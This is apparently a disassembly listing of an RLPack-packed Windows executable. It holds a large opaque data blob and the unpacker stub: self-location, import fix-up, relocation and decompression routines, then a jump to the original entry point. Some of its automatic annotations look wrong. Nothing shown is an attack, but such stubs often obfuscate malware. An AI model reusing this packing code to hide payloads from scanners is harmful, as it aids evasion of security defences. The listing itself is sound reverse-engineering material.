		dd 5C8CDC64h, 82F39D41h, 0F7DA41A4h, 0DCB459D3h, 2A528C2Fh
		dd 0BA9269CBh, 0E9286BDCh, 9CC98C93h, 244AB305h, 0F5AB5AF9h
		dd 0A13F45D5h, 0F143AA30h, 2593D922h, 69DB4935h, 0AFA75C95h
		dd 0F7794BEEh, 0AB87DAECh, 0C81DF6AFh, 0C9F6252Ch, 0A7E71769h
		dd 36E92CD6h, 0AD3487E8h, 0AF351ED7h, 0E1DFCDC0h, 345AB466h
		dd 0F1D728DBh, 4F541BCFh, 0AE928FE9h, 39DFA27h,	166B6477h
		dd 3A52945Ch, 520C3118h, 186B2826h, 1832ADB2h, 0C33A8EAh
		dd 41BDA6FCh, 0CC746B0Bh, 0D0669422h, 4D18DA83h, 0AD101455h
		dd 33FFAD6Eh, 3A743873h, 9A42F4Ah, 47726168h, 5478AEA2h
		dd 767441D7h, 0C473407Dh, 0C2ED51DAh, 311B77BDh, 0EA145334h
		dd 3606A332h, 0DC0B7A75h, 824E162Fh, 9D8859CAh,	0EBED734Ch
		dd 5390C4B2h, 0C8E5809Ah, 5B1D5395h, 32826BBh, 56765269h
		dd 0A282546h, 0B7EDA01h, 44FE9322h, 0EA630CCAh,	0A9D2ECA1h
		dd 0A37F563Fh, 0DED4C8EFh, 9994308Ch, 8D20BCDAh, 68502324h
		dd 0A81A241Dh, 0C2DEBDA2h, 58EBD4E8h, 78746638h, 57743D50h
		dd 66BD6BEAh, 614D0970h, 98DE2E78h, 5404F749h, 4F3CF63Ah
		dd 2527DFD3h, 74614C52h, 43175875h, 4900FE9Fh, 28952B2Fh
		dd 3D54BFD7h, 31E34B3Dh, 25532964h, 0EED349A8h,	1434D574h
		dd 0EDAD4EEh, 3B356619h, 6E291047h, 0B151254Ah,	2B4DFBACh
		dd 60180A71h, 9F617742h, 816890D9h, 14481A68h, 0B43841E5h
		dd 0B5DCBF50h, 484476E8h, 0BE5B4BBCh, 29AF753Dh, 46D8A4FFh
		dd 6243AABCh, 0BAEE294Fh, 0F4B5F9F0h, 47094E31h, 9EFC7955h
		dd 499EF55h, 6DAF2A41h,	16952F88h, 53D332BEh, 111424AFh
		dd 97ECBCE4h, 50BE1413h, 0EFD311F2h, 0DAB98011h, 0EF9A751Ch
		dd 0EF9D9F93h, 49748CF7h, 61B3BC2Eh, 4144CAC5h,	6B62319Ah
		dd 67A18A34h, 27D26A38h
		dd 0D0FAEF3Ah, 0C724F09Dh, 7A554C74h, 5CA1B6A4h, 5210D7DEh
		dd 0A4624E86h, 0E988FC3Ah, 0B23B1ED5h, 1D74BDDBh, 13EC6A52h
		dd 1A935C61h, 0D02C32EDh, 3852E437h, 581CA6ABh,	4C3DBDAFh
		dd 0D79029ADh, 26968DA2h, 0F6BD120Eh, 6C94EB4Ah, 0CA6F283Dh
		dd 0C0BC8B2Dh, 0C5B6BDF5h, 0A1CFC97h, 0CA2F7963h, 292E42A3h
		dd 64FD98BAh, 525896F1h, 56398659h, 0D19DD3ECh,	2491230Ah
		dd 27736F27h, 0D4BF9DA2h, 0E179EB2Eh, 85642634h, 524A86A8h
		dd 29A2AE4Eh, 0A1D2E25Dh, 0D0DF2DB3h, 0D0089419h, 54A34E8Eh
		dd 549A254Eh, 0BAB609E4h, 27ED4D84h, 646554A2h,	48864B97h
		dd 0FED7AE6Ch, 5A56A78Ah, 0C9F944CBh, 8BAA62B5h, 712A4E33h
		dd 176FE5Eh, 0D856B74Ch, 0EEF6E1EDh, 7AE886E4h,	0ACF19F44h
		dd 0AAEB7ACh, 0A5249452h, 24C8E8CFh, 1BDFC9B6h,	4E2528A4h
		dd 0BCE8D36Fh, 4C995F02h, 6AA1D84Dh, 16C69CFh, 0D654E5BCh
		dd 243E6451h, 5F569A67h, 2EA17CFBh, 42FB1894h, 0B17E3C1Ah
		dd 0AB1D3570h, 0B37F6EE3h, 652C218Dh, 0BAF3EF6Dh, 4F2DAE96h
		dd 30C4333Ah, 282D08CEh, 2268E39Fh, 11E10C09h, 0E8029EF4h
		dd 0C848D824h, 9C22B091h, 89849044h, 246C1278h,	91544860h
		dd 44382244h, 1489202Ch, 0F8230412h, 991639Dh, 72883169h
		dd 6E723435h, 6984B995h, 0D5C75F9h, 95337264h, 10869BC6h
		dd 9C0B7252h, 0D85B728h, 0ECC65F25h, 19680D8Bh,	0F04B0C69h
		dd 734D4CB1h, 34505815h, 683E628Eh, 366C52ECh, 85A15024h
		dd 5A323373h, 3D74920Ch, 82416414h, 0D442534Dh,	0C541570h
		dd 63736D02h, 249A6276h, 0A188F9DDh, 0CC0E273Ch, 76AFAC76h
		dd 8421A594h, 676663E1h, 0DE602D49h, 6D6B3473h,	7A1A4DF2h
		dd 0C1EAAC10h, 286D720Ah, 0BC64DF6Fh, 0AA77700Dh, 2168940Ah
		dd 347AE60Eh, 19861F98h, 3AB1F8D3h, 0E5574D1h, 0A8B7AC5Fh
		dd 0A5394CAh, 676966A4h, 61C2C940h, 1C12BA4Ah, 0F79A3257h
		dd 7F4B9051h, 7AF314ECh, 0D9B775B8h, 24E85A5Eh,	0FE45BDDCh
		dd 7FEB24A1h, 2C86ACECh, 0DD3A06CBh, 0D97484Dh,	4A149FAAh
		dd 0BC974BE2h, 60ECD20Bh, 40403F90h, 0A0D292Eh,	3550C530h
		dd 2AE9C917h, 170175AFh, 0F4CAFECCh, 0A1ED5842h, 0DFE93062h
		dd 4927513Eh, 0DCE0D44Fh, 0D2A8FEB7h, 2AFC3A7Dh, 6425119Bh
		dd 0A0D02584h, 0C85308E6h, 64C42208h, 48BC09C0h, 3A4484B8h
		dd 30240D5Ch, 89117EFBh, 494DF441h, 50D54E45h, 0D70B0E47h
		dd 75AD306Dh, 4597321Eh, 2FA7243Bh, 2E1A995Fh, 35D6304Ah
		dd 628C8D35h, 11894B66h, 0B9C4E97Ah, 1F3C2309h,	36D25339h
		dd 8DD25447h, 3B2114B6h, 55738850h, 41BC7311h, 0F8766429h
		dd 49FB9DF6h, 4A4B4DCAh, 2509F48Bh, 67D9AB9Ah, 0F22DE3AEh
		dd 0A33C8DCEh, 97162F28h, 46C8F9BEh, 0EDC45394h, 0E426BC6Fh
		dd 3C6E3E24h, 0C74A2446h, 6D79236Dh, 47B7E8A5h,	5744F2C0h
		dd 0B43DE762h, 9C9521A2h, 14508FDEh, 28901B44h,	999DEA97h
		dd 15049161h, 387F1412h, 65644875h, 0C46325C4h,	105C19A5h
		dd 0DAB05A24h, 0ADEDB657h, 6A5468ECh, 721057B8h, 95B14FBFh
		dd 6EB5BA4Bh, 6E75126Ch, 249CBE2Eh, 0C497747Ch,	0CAD0856Dh
		dd 7A772962h, 530F34D4h, 552FEB54h, 0D30CDB8h, 4BC259B5h
		dd 1A67975Fh, 0D0C52864h, 50BAF5ADh, 45CD5B0Fh,	0BA2557C8h
		dd 0A0F2824h, 2F746962h, 558A3EAFh, 0D3114153h,	610A4FFFh
		dd 0E758DA12h, 38676129h, 7746D4E8h, 672E1C02h,	0EFA9656Fh
		dd 6A49608Fh, 790660F9h, 86246861h, 5720820Fh, 7974CF60h
		dd 20F37397h, 31641A10h, 1112BF61h, 7F401009h, 6277696Ch
		dd 0A8EB9C90h, 8BD04166h, 4015D028h, 757968D4h,	848BEA3h
		dd 906C4659h, 96F1DE3Ch, 0D7D76E79h, 14685F5Ah,	76F83CA8h
		dd 0CE8446D2h, 0C0F44864h, 0BE22A433h, 0FC072593h, 0EA73C775h
		dd 16202156h, 2937F862h, 526D3074h, 0D07D2468h,	0EFE4540Ch
		dd 43313011h, 7E6F34D0h, 1F140EF1h, 411A1015h, 4EE00FBAh
		dd 0ECF05B94h, 8462A464h, 6F782914h, 0E5C42161h, 64700D69h
		dd 472F4A10h, 3BA0586Ch, 3075B66Ch, 0FD508C36h,	6863568Dh
		dd 1099CE44h, 749F6831h, 48E11FA4h, 58EB667Ch, 2890753Ch
		dd 0FE25BC8Ah, 6C3C366Ch, 7D5FA2F5h, 64642559h,	6D496808h
		dd 6C7118B2h, 436116A4h, 0DB225550h, 34364900h,	7A484D75h
		dd 0D8222E6Bh, 7711822Fh, 0F6D61709h, 0B5194A5Bh, 723DA7BBh
		dd 0CB3BEB57h, 43379A13h, 8A324BA5h, 2A334EA5h,	4406622Eh
		dd 0C8627542h, 0A7298011h, 62328B49h, 1D412C07h, 8576B748h
		dd 53A2336Fh, 5B572B9Ah, 55882FCDh, 0A875EB29h,	54C10C47h
		dd 0A0B6D69h, 0E747055h, 3E4E54EAh, 0F2024D9Bh,	63092E79h
		dd 7385D157h, 0BCDD494Bh, 894A469h, 0CAC4BAB5h,	0C4318879h
		dd 0F87B41F5h, 0EDAF9021h, 1CBF7004h, 0FB4C1C93h, 406CA14Fh
		dd 70752D0Ah, 3F6FE9E1h, 0F2921BF2h, 0E2AE926Ch, 0CEFEB4D0h
		dd 0EBAC4BF0h, 2E4BC8D6h, 16A730ADh, 0ADDBB186h, 3CD236FCh
		dd 0E0B1B65Ch, 2E4C5255h, 674778ADh, 0FE3B37Eh,	0D671599Ah
		dd 87A84A3h, 88AC0D24h,	942F2AC3h, 434CDABFh, 173F8601h
		dd 98752008h, 48487344h, 5F2918C7h, 1B3F8C04h, 5152020h
		dd 0B72F1993h, 41B7C201h, 10D8226Fh, 0A9901098h, 0A8044354h
		dd 1FF538Eh, 0F139F033h, 0AA012A85h, 1CB992AAh,	1001E018h
		dd 0C82C9C2h, 0AF200204h, 0B7289002h, 489C57E8h, 84EC1011h
		dd 0D122E885h, 21024B81h, 40877E01h, 0B2028214h, 3CE81702h
		dd 14CA20C4h, 0B6FFD2ABh, 0C8084034h, 37427738h, 2C109B8h
		dd 1C410804h, 600003A4h, 21E47982h, 0A6292CA6h,	0A10808DFh
		dd 9F81C0A5h, 1084FCE0h, 0CC807E40h, 39C161A8h,	5849DAA3h
		dd 0FE4681A8h, 94084029h, 23BB30B5h, 0EB69141h,	4EE4A2CFh
		dd 0CFE50E1Ah, 0D65B08E8h, 51A19081h, 8E05510Ah, 595EDA09h
		dd 6AD95FC0h, 800B32E1h, 0E0DED8D3h, 7E3180F9h,	0A20C74D4h
		dd 32022516h, 8990304h,	24181204h, 910D4805h, 44092206h
		dd 8890C07h, 538E091Ch,	0B211C0Ah, 3C3416E5h, 580F080Ah
		dd 14321065h, 34122511h, 21180804h, 103235E5h, 1C433941h
		dd 5334A650h, 53291852h, 60579408h, 657C59CAh, 6D18326Ch
		dd 2CCEAC6h, 891C0970h,	6AC5C72h, 805730A6h, 88129B4h
		dd 0C8208294h, 3284E583h, 29249148h, 65109E4Ah,	0A49072A1h
		dd 1CA77099h, 53A0AEB7h, 0D72320CEh, 30071889h,	1109200Ch
		dd 745D0D2Dh, 14988893h, 98787C09h, 111D6E78h, 201A22F1h
		dd 1B44C930h, 1F21C870h, 13116899h, 21246012h, 0E915848h
		dd 74815022h, 5810A948h, 433C409Eh, 33103835h, 112230B0h
		dd 122C441Eh, 20122889h, 0C482424h, 0B221C91h, 89151444h
		dd 241C120Ch, 88194804h, 111177FCh, 1844F422h, 121689ECh
		dd 481724E4h, 222291DCh, 0D42344D8h, 0D0122489h, 0F0430128h
		dd 0F831847Fh, 0A6EF18FFh, 87104C10h, 8B080A2h,	0C1E14410h
		dd 30145801h, 52470380h, 0CF30442h, 5C5C21E5h, 4A8F225h
		dd 0BC08AE8h, 191D6645h, 96210447h, 8488DE4h, 8F3C8EE4h
		dd 0F2909087h, 92431E91h, 37993C8h, 0A22E837h, 0DE098C45h
		dd 4F41AABh, 0CC427BC0h, 11C894FCh, 40689109h, 26F14428h
		dd 49183CA0h, 7AE88458h, 0F1C49898h, 983CE026h,	608F6849h
		dd 38806312h, 0C310D9C4h, 79C861C4h, 0A032A026h, 90247811h
		dd 8044E25Eh, 1270897Ah
		dd 3EE422FCh, 48000877h, 0BC422137h, 4FB09B4Dh,	4768BE11h
		dd 7274B910h, 0F37DBC12h, 1CC5726Ah, 5C5F0121h,	46269438h
		dd 116954Dh, 352C09FCh,	406F184Ch, 0B103CB09h, 44648109h
		dd 0C4389618h, 897F4820h, 94B07080h, 38C2F1F0h,	0BF545350h
		dd 44506284h, 744240BFh, 0B458C1D3h, 0F05809B8h, 0E012DA4h
		dd 1E0C4010h, 5A133B89h, 0AC190B87h, 0B5099197h, 0F344D422h
		dd 30D5A911h, 224E0991h, 4B348C6Dh, 77C4623Ah, 0E0D9C4ECh
		dd 0F212D309h, 64511026h, 4B4D092Fh, 4A9156Ch, 2C4002A0h
		dd 0C0552C8h, 2D08FA84h, 850C9CE4h, 0FC35084h, 0F421242Ch
		dd 96804012h, 2851698h,	19BEBC20h, 8BF0430h, 348E1BC9h
		dd 0CCEDA140h, 3EC2F6CEh, 20004ED3h, 70B59EF0h,	0AD0FA82Bh
		dd 80699DC5h, 25FD5DD0h, 8E1A03E5h, 83EB194Fh, 0D79671E0h
		dd 0E439500h, 0AF298D05h, 1F9F89Eh, 0ED44A0BFh,	0CC8F1281h
		dd 0ECF9B982h, 0A603D53Ch, 1F49FFCFh, 7A7C78h, 8CE0C66Fh
		dd 47C980E9h, 0A893BA00h, 6B85BC41h, 39270055h,	0E070F78Dh
		dd 0DDF8427Ch, 0F9DE8E00h, 7EEBFB9Dh, 435100AAh, 0E376E6A1h
		dd 2900F2CCh, 2681842Fh, 0E102844h, 0AEF8AA17h,	0C4C5E3A1h
		dd 0A7EBF0FAh, 0F7F3D41Dh, 7A4AE140h, 45CF95h, 91C7CC65h
		dd 0A0AEA60Eh, 0A3E31907h, 17D00D46h, 7381750Ch, 0C9760086h
		dd 42584D48h, 9300A7E4h, 0B8353B39h, 0FB53EDB2h, 395DE5E8h
		dd 7FDC53Dh, 5A929E8Bh,	0F0A6A0FFh, 0C00020A1h,	378CA554h
		dd 39FDD161h, 0D8005A8Bh, 0F9895D25h, 0AA0067DBh, 27F3F895h
		dd 0FAC8A2BFh, 6E8000DDh, 979BC94Ch, 2058A20h, 25C46052h
		dd 0CD8421AEh, 104A1CCh, 713FFB00h, 28D70A3Dh, 7C0570A3h
		dd 645A00F8h, 8D4FDF3Bh, 121F6E97h, 0C300F583h,	19652CD3h
		dd 175807E2h, 0C0F1D1B7h, 84230FD0h, 71B4739h, 0EEA7C5ACh
		dd 0B6A640C0h, 0AF6C0169h, 8637BD05h, 3D33F0EBh, 7A42BC00h
		dd 0BF94D5E5h, 38E77CD6h, 0CE80FDC2h, 77118461h, 0E47CABCCh
		dd 5B4C2F00h, 0BEC44DE1h, 0E6951F94h, 921EC9h, 44753B53h
		dd 9AFC14CDh, 0DE00AF7Ch, 3994BA67h, 3B1EAD45h,	7FCCFB1h
		dd 0E2C62324h, 313BF0BCh, 7A7C8B61h, 590055E8h,	53B17EC1h
		dd 7CBB127Ch, 0EED7005Fh, 0BE068D2Fh, 151B8592h, 0F04844FBh
		dd 0E639E9A5h, 7FEA0F27h, 7D802AA8h, 0BCE4A1ACh, 467C6400h
		dd 3E55DDD0h, 67B0063h,	775423CCh, 911CFF83h, 0FAC03D81h
		dd 637A193Ah, 31430025h, 213CACC0h, 3807D189h, 0B8974782h
		dd 3BD7FD00h, 588800DCh, 0E8B11B08h, 0A63E86E3h, 84C60003h
		dd 0B6074245h, 37750099h, 333A2EDBh, 0D23C1C71h, 0EE320023h
		dd 395A9049h, 0BE8701A6h, 0A5DA57C0h, 0B5A2E082h, 68E23200h
		dd 52A711B2h, 5944009Fh, 252C10B7h, 2D00E449h, 534F3436h
		dd 0F66BCEAEh, 459008Fh, 0C2DEC0A4h, 0E800FB7Dh, 0E79E1EC6h
		dd 575A88h, 50BF3C91h, 4E182283h, 62654B0Fh, 0AF8F00FDh
		dd 607D9406h, 9FDE5C11h, 0C801D2CEh, 0D8A6DD04h, 71FE680Ah
		dd 3F2E80CCh, 78655641h, 0B5F8DA95h, 0C7409D41h, 7E183985h
		dd 5E633EE4h, 608E25Fh,	64747340h, 204FE13Dh, 3AACEC4Fh
		dd 0DE66395Fh, 212951BEh, 0BAF54090h, 416DD924h, 0BA4B441Bh
		dd 0D75F5BC2h, 383BCA2Dh, 0BB0C5860h, 60h, 1270000h, 19C0000h
		dd 1DC0000h, 2210000h, 2330000h, 2900000h, 7Ah dup(0)
		dd 959F0000h, 5D08B7F0h, 365B2126h, 0BB27DC4Bh,	65DF08A6h
		dd 3C6277E9h, 7A039820h, 0C89775ACh, 10D1EBABh,	0B1DC6112h
		dd 0A1681BDBh, 99125F93h, 0AD9B5F19h, 0A12F7A97h, 0F27E980Fh
		dd 2B04C9Fh, 0ECB586D4h, 0C84B3125h, 97EE4B9Ah,	61888201h
		dd 324D2DF6h, 0F536DF84h, 0D018AE8Bh, 0C53D2048h, 0C5A819FEh
; ---------------------------------------------------------------------------
		xchg	eax, esp
		dec	ebx

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 004FC387 SIZE 00000110 BYTES

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		jmp	short loc_4FBEFB
; ---------------------------------------------------------------------------
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4FBEFB:				; CODE XREF: start+Cj
		jmp	short loc_4FBF00
; ---------------------------------------------------------------------------
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4FBF00:				; CODE XREF: start:loc_4FBEFBj
		lea	esi, [ebp+1F4Bh]
		lea	ebx, [ebp+314h]
		xor	edi, edi
		call	sub_4FC161
		jmp	short loc_4FBF18
; ---------------------------------------------------------------------------
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FBF18:				; CODE XREF: start+29j
		jmp	short loc_4FBF1D
; ---------------------------------------------------------------------------
		dw 0Dh
		db 0
; ---------------------------------------------------------------------------


loc_4FBF1D:				; CODE XREF: start:loc_4FBF18j
		jmp	short loc_4FBF2E
; ---------------------------------------------------------------------------


loc_4FBF1F:				; CODE XREF: start+48j
		push	dword ptr [edi+esi+4]
		push	dword ptr [edi+esi]
		call	ebx	; WideCharToMultiByte
		add	esp, 8
		add	edi, 8


loc_4FBF2E:				; CODE XREF: start:loc_4FBF1Dj
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_4FBF1F
		lea	esi, [edi+esi+4]
		cmp	dword ptr [ebp+1C63h], 1
		jnz	short loc_4FBF85
		xor	edi, edi
		pusha
		jmp	short loc_4FBF75
; ---------------------------------------------------------------------------


loc_4FBF46:				; CODE XREF: start+8Dj
		mov	eax, [esi]
		mov	ebx, [esi+4]
		mov	edx, [esi+8]
		call	sub_4FC149
		lea	ecx, [ebp+19B2h]
		push	ecx
		or	edx, edx
		jnz	short loc_4FBF62
		push	20h
		jmp	short loc_4FBF64
; ---------------------------------------------------------------------------


loc_4FBF62:				; CODE XREF: start+72j
		push	40h


loc_4FBF64:				; CODE XREF: start+76j
		push	eax
		push	ebx
		call	dword ptr [ebp+402h]
		add	esi, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_4FBF75
		inc	edi


loc_4FBF75:				; CODE XREF: start+5Aj	start+88j
		or	edi, edi
		jz	short loc_4FBF46
		add	esi, 4
		mov	[esp+40h+var_24], esi
		popa
		mov	esi, eax
		jmp	short loc_4FBF88
; ---------------------------------------------------------------------------


loc_4FBF85:				; CODE XREF: start+55j
		add	esi, 8


loc_4FBF88:				; CODE XREF: start+99j
		mov	eax, [esi]
		mov	[ebp+1412h], eax
		add	esi, 4
		call	sub_4FD224
		add	esi, 4
		push	ebx
		push	40h
		push	1000h
		push	7D7h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F47h], eax
		pop	ebx
		push	dword ptr [ebp+1F47h]
		push	esi
		call	ebx	; WideCharToMultiByte
		add	esp, 8
		jmp	short loc_4FBFC8
; ---------------------------------------------------------------------------
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FBFC8:				; CODE XREF: start+D9j
		call	sub_4FCB57
		cmp	dword ptr [ebp+1A63h], 0
		jz	short loc_4FBFE9
		cmp	dword ptr [ebp+199Eh], 0
		jz	short loc_4FBFE9
		call	sub_4FCE12
		call	sub_4FCCAF


loc_4FBFE9:				; CODE XREF: start+EAj	start+F3j
		mov	esi, [ebp+1F47h]
		mov	eax, esi
		jmp	short loc_4FBFF4
; ---------------------------------------------------------------------------


loc_4FBFF3:				; CODE XREF: start+10Dj
		inc	eax


loc_4FBFF4:				; CODE XREF: start+107j
		cmp	byte ptr [eax],	1
		jnz	short loc_4FBFF3
		inc	eax
		mov	edi, [eax]
		call	sub_4FC12D
		add	eax, 4
		mov	[ebp+1F43h], eax
		jmp	loc_4FC0C0
; ---------------------------------------------------------------------------


loc_4FC00F:				; CODE XREF: start+1D9j
		call	sub_4FC363
		push	esi
		call	dword ptr [ebp+406h]
		test	eax, eax
		jz	loc_4FC39E
		mov	[ebp+1F3Fh], eax
		mov	eax, esi
		jmp	short loc_4FC0A1
; ---------------------------------------------------------------------------


loc_4FC02D:				; CODE XREF: start+1B5j start+1BAj
		mov	eax, [ebp+1F43h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4FC056
		xor	eax, 80000000h
		push	eax
		mov	[ebp+140Ah], eax
		mov	eax, [ebp+1F43h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_4FC05C
; ---------------------------------------------------------------------------


loc_4FC056:				; CODE XREF: start+150j
		push	dword ptr [ebp+1F43h]


loc_4FC05C:				; CODE XREF: start+16Aj
		push	dword ptr [ebp+1F3Fh]
		call	dword ptr [ebp+3F6h]
		test	eax, eax
		jz	loc_4FC387
		jmp	short loc_4FC075
; ---------------------------------------------------------------------------
		dw 0Eh
		db 0
; ---------------------------------------------------------------------------


loc_4FC075:				; CODE XREF: start+186j
		mov	dword ptr [ebp+140Ah], 0
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+1F43h]
		jmp	short loc_4FC08D
; ---------------------------------------------------------------------------


loc_4FC08C:				; CODE XREF: start+1A6j
		inc	eax


loc_4FC08D:				; CODE XREF: start+1A0j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FC08C
		inc	eax
		mov	[ebp+1F43h], eax
		test	dword ptr [eax], 80000000h
		jnz	short loc_4FC02D


loc_4FC0A1:				; CODE XREF: start+141j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FC02D
		jmp	short loc_4FC0A9
; ---------------------------------------------------------------------------


loc_4FC0A8:				; CODE XREF: start+1C2j
		inc	esi


loc_4FC0A9:				; CODE XREF: start+1BCj
		cmp	byte ptr [esi],	0
		jnz	short loc_4FC0A8
		inc	esi
		inc	eax
		mov	edi, [eax]
		call	sub_4FC12D
		add	eax, 4
		mov	[ebp+1F43h], eax


loc_4FC0C0:				; CODE XREF: start+120j
		cmp	byte ptr [esi],	1
		jnz	loc_4FC00F
		push	4000h
		push	7D7h
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+3FEh]
		jmp	short loc_4FC0E4
; ---------------------------------------------------------------------------
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4FC0E4:				; CODE XREF: start+1F5j
		call	sub_4FC190
		popa
		jmp	sub_41D933
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4FC0EF	proc near		; CODE XREF: .RLPack:004FC4C2p

arg_48		= dword	ptr  4Ch

		cmp	dword ptr [ebp+13FEh], 0
		jz	short locret_4FC10E
		sub	eax, [ebp+13F6h]
		add	eax, [esp+arg_48]
		push	eax
		mov	eax, [esp+4+arg_48]
		mov	[ebp+13FAh], eax
		pop	eax

locret_4FC10E:				; CODE XREF: sub_4FC0EF+7j
		retn
sub_4FC0EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FC10F	proc near		; CODE XREF: .RLPack:004FC517p
					; .RLPack:004FC529p ...
		push	esi
		mov	esi, [eax+0B4h]
		cmp	dword ptr [esi+13FEh], 0
		jz	short loc_4FC12B
		sub	ecx, [esi+13F6h]
		add	ecx, [esi+13FAh]


loc_4FC12B:				; CODE XREF: sub_4FC10F+Ej
		pop	esi
		retn
sub_4FC10F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FC12D	proc near		; CODE XREF: start+112p start+1C8p

arg_24		= dword	ptr  28h

		push	eax
		push	ebx
		cmp	dword ptr [ebp+13FEh], 0
		jz	short loc_4FC146
		mov	eax, [ebp+13F6h]
		mov	ebx, [esp+8+arg_24]
		sub	edi, eax
		add	edi, ebx


loc_4FC146:				; CODE XREF: sub_4FC12D+9j
		pop	ebx
		pop	eax
		retn
sub_4FC12D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FC149	proc near		; CODE XREF: start+64p

arg_44		= dword	ptr  48h

		push	eax
		cmp	dword ptr [ebp+13FEh], 0
		jz	short loc_4FC15F
		mov	eax, [ebp+13F6h]
		sub	ebx, eax
		add	ebx, [esp+4+arg_44]


loc_4FC15F:				; CODE XREF: sub_4FC149+8j
		pop	eax
		retn
sub_4FC149	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FC161	proc near		; CODE XREF: start+24p

arg_24		= dword	ptr  28h

		pusha
		cmp	dword ptr [ebp+13FEh], 0
		jz	short loc_4FC18E
		mov	eax, [ebp+13F6h]
		mov	ebx, [esp+20h+arg_24]
		jmp	short loc_4FC188
; ---------------------------------------------------------------------------


loc_4FC177:				; CODE XREF: sub_4FC161+2Bj
		sub	[edi+esi+4], eax
		add	[edi+esi+4], ebx
		sub	[edi+esi], eax
		add	[edi+esi], ebx
		add	edi, 8


loc_4FC188:				; CODE XREF: sub_4FC161+14j
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_4FC177


loc_4FC18E:				; CODE XREF: sub_4FC161+8j
		popa
		retn
sub_4FC161	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FC190	proc near		; CODE XREF: start:loc_4FC0E4p

arg_24		= dword	ptr  28h

		pusha
		mov	esi, [ebp+13FEh]
		or	esi, esi
		jz	short loc_4FC202
		mov	edi, [ebp+13F6h]
		mov	eax, [esp+20h+arg_24]
		mov	[ebp+13FAh], eax
		cmp	eax, edi
		jz	short loc_4FC202
		add	esi, eax
		jmp	short loc_4FC1FD
; ---------------------------------------------------------------------------


loc_4FC1B3:				; CODE XREF: sub_4FC190+70j
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+1402h], eax
		add	[ebp+1402h], esi
		add	esi, 8
		jmp	short loc_4FC1F5
; ---------------------------------------------------------------------------


loc_4FC1C9:				; CODE XREF: sub_4FC190+6Bj
		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+13FAh]
		cmp	ecx, 3
		jnz	short loc_4FC1F2
		sub	[eax], edi
		mov	ecx, [ebp+13FAh]
		add	[eax], ecx


loc_4FC1F2:				; CODE XREF: sub_4FC190+56j
		add	esi, 2


loc_4FC1F5:				; CODE XREF: sub_4FC190+37j
		cmp	esi, [ebp+1402h]
		jb	short loc_4FC1C9


loc_4FC1FD:				; CODE XREF: sub_4FC190+21j
		cmp	dword ptr [esi], 0
		jnz	short loc_4FC1B3


loc_4FC202:				; CODE XREF: sub_4FC190+9j
					; sub_4FC190+1Dj
		popa
		retn
sub_4FC190	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_4FC212:				; CODE XREF: .RLPack:004FC21Aj
		movsb
		mov	bl, 2


loc_4FC215:				; CODE XREF: .RLPack:004FC23Fj
					; .RLPack:004FC285j
		call	sub_4FC287
		jnb	short loc_4FC212
		xor	ecx, ecx
		call	sub_4FC287
		jnb	short loc_4FC241
		xor	eax, eax
		call	sub_4FC287
		jnb	short loc_4FC251
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_4FC233:				; CODE XREF: .RLPack:004FC23Aj
		call	sub_4FC287
		adc	al, al
		jnb	short loc_4FC233
		jnz	short loc_4FC27D
		stosb
		jmp	short loc_4FC215
; ---------------------------------------------------------------------------


loc_4FC241:				; CODE XREF: .RLPack:004FC223j
		call	sub_4FC293
		sub	ecx, ebx
		jnz	short loc_4FC25A
		call	sub_4FC291
		jmp	short loc_4FC279
; ---------------------------------------------------------------------------


loc_4FC251:				; CODE XREF: .RLPack:004FC22Cj
		lodsb
		shr	eax, 1
		jz	short loc_4FC2A3
		adc	ecx, ecx
		jmp	short loc_4FC276
; ---------------------------------------------------------------------------


loc_4FC25A:				; CODE XREF: .RLPack:004FC248j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4FC291
		cmp	eax, 7D00h
		jnb	short loc_4FC276
		cmp	ah, 5
		jnb	short loc_4FC277
		cmp	eax, 7Fh
		ja	short loc_4FC278


loc_4FC276:				; CODE XREF: .RLPack:004FC258j
					; .RLPack:004FC26Aj
		inc	ecx


loc_4FC277:				; CODE XREF: .RLPack:004FC26Fj
		inc	ecx


loc_4FC278:				; CODE XREF: .RLPack:004FC274j
		xchg	eax, ebp


loc_4FC279:				; CODE XREF: .RLPack:004FC24Fj
		mov	eax, ebp
		mov	bl, 1


loc_4FC27D:				; CODE XREF: .RLPack:004FC23Cj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4FC215

; =============== S U B	R O U T	I N E =======================================



sub_4FC287	proc near		; CODE XREF: .RLPack:loc_4FC215p
					; .RLPack:004FC21Ep ...
		add	dl, dl
		jnz	short locret_4FC290
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4FC290:				; CODE XREF: sub_4FC287+2j
		retn
sub_4FC287	endp


; =============== S U B	R O U T	I N E =======================================



